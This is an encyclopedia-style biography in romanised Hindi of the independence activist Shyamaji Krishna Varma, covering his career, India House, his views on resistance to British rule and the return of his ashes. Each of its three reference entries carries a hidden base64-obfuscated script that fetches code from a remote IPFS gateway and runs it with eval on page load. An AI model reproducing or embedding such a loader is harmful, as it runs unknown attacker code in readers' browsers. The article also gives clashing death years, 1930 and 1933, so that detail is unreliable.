श्यामजी कृष्ण वर्मा
shyamaji krishna varma
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| poora nam | shyamaji krishna varma |
| janm | 4 aktoobar, 1857 |
| janm bhoomi | maandavi gaanv, gujarat |
| mrityu | 31 march, 1930 |
| mrityu sthan | jeneva, svitzaralaind |
| pati/patni | bhanumati krishna varma |
| nagarikata | bharatiy |
| prasiddhi | svatantrata senani, lekhak, vakil, patrakar |
| vidyalay | vilsan haeeskool, mumbee; aauksaford vishvavidyalay |
| shiksha | bi.e. |
| vishesh yogadan | ianglaiand se masik 'd iandiyan soshiol aaujist' prakashit kiya, jisaka prakashan bad mean jineva mean bhi kiya gaya. |
| any janakari | svami dayanand sarasvati ke sannidhy mean rahakar mukhar hue sanskrit v vedashastroan ke moordhany vidvan ke roop mean pratishtha prapt shyamaji krishna varma 1885 mean tatkalin ratalam rajy ke 1889 tak divan pad par asin rahe. |
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shyamaji krishna varma (aangrezi: Shyamji Krishna Varma, janm: 4 aktoobar, 1857; mrityu: 31 march, 1930) bharat ke un amar sapootoan mean haian, jinhoanne apana sampoorn jivan bharat ki azadi ke lie laga diya. british sarakar ke atyacharoan se trast hokar bharat se ianglaind chale gaye shyamaji krishna varma ne apana sara jivan bharat ki svatantrata ke lie mahaul banane mean aur navayuvakoan ko prerit karane mean lagaya. svami dayanand sarasvati ke sannidhy mean rahakar mukhar hue sanskrit v vedashastroan ke moordhany vidvan ke roop mean pratishtha prapt shyamaji krishna varma 1885 mean tatkalin ratalam rajy ke 1889 tak divan pad par asin rahe.
jivan parichay
shyamaji krishna varma ka janm 4 aktoobar, 1857 ko gujarat ke maandavi gaanv mean hua tha. shyamaji krishna varma ne sanh 1888 mean ajamer mean vakalat ke dauran svaraj ke lie kam karana shuroo kar diya tha. madhy pradesh mean ratalam aur gujarat mean joonagadh mean divan rahakar unhoanne janahit ke kam kie. sanh 1897 mean ve punah ianglaiand ge. 1905 mean l aaurd karzan ki zyadatiyoan ke viruddh sangharsharat rahe. isi varsh ianglaiand se masik 'd iandiyan soshiol aaujist' prakashit kiya, jisaka prakashan bad mean jineva mean bhi kiya gaya. ianglaiand mean rahakar unhoanne iandiya haus ki sthapana ki. bharat lautane ke bad 1905 mean unhoanne kraantikari chhatroan ko lekar iandiyan homarool sosayati ki sthapana ki. shyamaji krishna varma lokamany bal gangadhar tilak aur svami dayanand sarasvati se prerit the. 1918 ke barlin aur ianglaiand mean hue vidya sammelanoan mean unhoanne bharat ka pratinidhitv kiya tha. kraantikari gatividhiyoan ke madhyam se azadi ke sankalp ko gatishil karane vale shyamaji krishna varma pahale bharatiy the, jinhean aauksaphord se em.e. aur bairistar ki upadhiyaan milian thian. pune mean die ge unake sanskrit ke bhashan se prabhavit hokar moniyar viliyams ne varmaji ko aauksaphord mean sanskrit ka sahayak prophesar bana diya tha.[1]
shiksha evan karyakshetr
shyamaji krishna varma aauksaphord vishvavidyalay se 1883 ee. mean bi.e. ki digri prapt karane vale pratham bharatiy hone ke atirikt aangrezi rajy ko hatane ke lie videshoan mean bharatiy navayuvakoan ko prerana dene vale, kraantikariyoan ka sangathan karane vale pahale hindustani the. pan. shyamaji krishna varma ko deshabhakti ka pahala path padhane vale ary samaj ke sansthapak maharshi dayanand sarasvati the. 1875 ee. mean jab svami dayanand ji ne bambee (ab muanbee) mean ary samaj ki sthapana ki to shyamaji krishna varma usake pahale sadasy banane valoan mean se the. svami ji ke charanoan mean baith kar inhoanne sanskrit granthoan ka svadhyay kiya. ve maharshi dayanand dvara sthapit paropakarini sabha ke bhi sadasy the. bambee se chhapane vale maharshi dayanand ke vedabhashy ke prabandhak bhi rahe. 1885 ee. mean sanskrit ki uchchatam digri ke sath bairistari ki pariksha pas karake bharat laute. ianglaind mean svadhinata andolan ke prayasoan ko sabal banane ki drishti se shyamaji krishna varma ji ne aangrezi mean janavari 1905 ee. se 'indiyan soshiyolojist' namak masik patr nikala. 18 faravari, 1905 ee. ko unhoanne ianglaind mean hi 'indiyan homarool sosayati' ki sthapana ki aur ghoshana ki ki hamara uddeshy "bharatiyoan ke lie bharatiyoan ke dvara bharatiyoan ki sarakar sthapit karana hai" ghoshana ko kriyatmak roop dene ke lie landan mean 'indiya haus' ki sthapana ki, jo ki ianglaind mean bharatiy rajanitik gatividhiyoan tatha karyakalapoan ka sabase b da keandr raha.[2]
vicharadhara
pan. shyamaji krishna varma bharat ki svatantrata pane ka pramukh sadhan sarakar se asahayog karana samajhate the. apaki manyata rahi aur kaha bhi karate the ki yadi bharatiy aangrezoan ko sahayog dena band kar dean to aangrezi shasan ek hi rat mean dharashayi ho sakata hai. shaantipoorn upayoan ke samarthak hote hue bhi shyamaji svatantrata prapti ke lie hiansapoorn upayoan ka parityag karane ke paksh mean nahian the. unaka yah dava tha ki bharatiy janata ki loot aur hatya karane ke lie sabase adhik sangathit giroh aangrezoan ka hi hai. jab tak aangrez svatantrata ke lie andolan karane ki svatantrata pradan karate haian tab tak hiansak upayoan ki avashyakata nahian hai, kintu jab sarakar pres aur bhashan ki svatantrata par pabandiyaan lagati hai, bhishan daman ke upayoan ka prayog karati hai to bharatiy deshabhaktoan ko adhikar hai ki ve svatantrata pane ke lie sabhi prakar ke sabhi avashyak sadhanoan ka prayog karean. unaka manana tha ki hamari karyavahi ka pramukh sadhan raktaranjit nahian hai, kintu bahishkar ka upay hai. jis din aangrez bharat mean apane naukar nahian rakh sakeange, pulis aur sena mean javanoan ki bharti karane mean asamarth ho jayeange, us din bharat mean british shasan atit ki vastu ho jaega. inhoanne apani masik patrika indiyan soshiyolojist ke pratham aank mean hi likha tha ki atyachari shasak ka pratirodh karana n keval nyayochit hai apitu avashyak bhi hai aur aant mean is bat par bhi bal diya ki atyachari, damanakari shasan ka takhta palatane ke lie paradhin jati ko sashastr sangharsh ka marg apanana chahie.[2]
samman
[[chitr:Shyamji-krishna-verma.jpg|thumb|samman mean jari dak tikat]] ratalam mean shyamaji krishna varma srijan pith ki sthapana bhi ki ja chuki hai. shyamaji krishna varma ki janmasthali mandavi gujarat kraanti tirth ke roop mean vikasit kiya ja raha hai. jahaan svadhinata sangram sainaniyoan ki pratimaean v 21 hajar vrikshoan ka kraantivan akar le raha hai. ratalam mean hi svatantrata sangram sainaniyoan ke parichay gatha ki gailari prastavit hai, taki bharatiy svatantrata ke adharabhoot mool tatvoan ka smaran evan unake sanbandhit shodh kary ki or age badh sake, lekin isake lie ratalam zila prashasan evan madhyapradesh shasan ki mukharata bhi apekshit hai.[3]
nidhan
kraantikari shahid madanalal dhiangara inake shishyoan mean se ek the. unaki shahadat par unhoanne chhatravritti bhi shuroo ki thi. vir savarakar ne unake margadarshan mean lekhan kary kiya tha. 31 march, 1933 ko jeneva ke aspatal mean inaka nidhan hua.
aantim ichchha
sat samandar par se aangrezoan ki dharati se hi bharat mukti ki bat karana samany nahian tha, unaki desh bhakti ki tivrata thi hi, svatantrata ke prati astha itani dridh thi ki pan. shyamaji krishna varma ne apani mrityu se pahale hi yah ichchha vyakt ki thi ki unaki mrityu ke bad asthiyaan svatantr bharat ki dharati par le jaee jae. bharatiy svatantrata ke 17 varsh pahale dinaank 31 march, 1930 ko unaki mrityu jineva mean huee, unaki mrityu ke 73 varsh bad svatantr bharat ke 56 varsh bad 2003 mean bharat mata ke sapoot ki asthiyaan gujarat ke mukhyamantri narendr modi ki pahal par desh ki dharati par lane ki saphalata mili.[3]
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tika tippani aur sandarbh
- ↑ shyamaji krishna varma (hiandi) vebaduniya hiandi. abhigaman tithi: 27 march, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 kraantikari shyam ji krishna varma (hindi) kraantivir. abhigaman tithi: 27 march, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 3.0 3.1 joshi, pan. baboolal. svatantrata sangram senani pan. shyam ji krishna varma (hiandi) vebaduniya hiandi. abhigaman tithi: 27 march, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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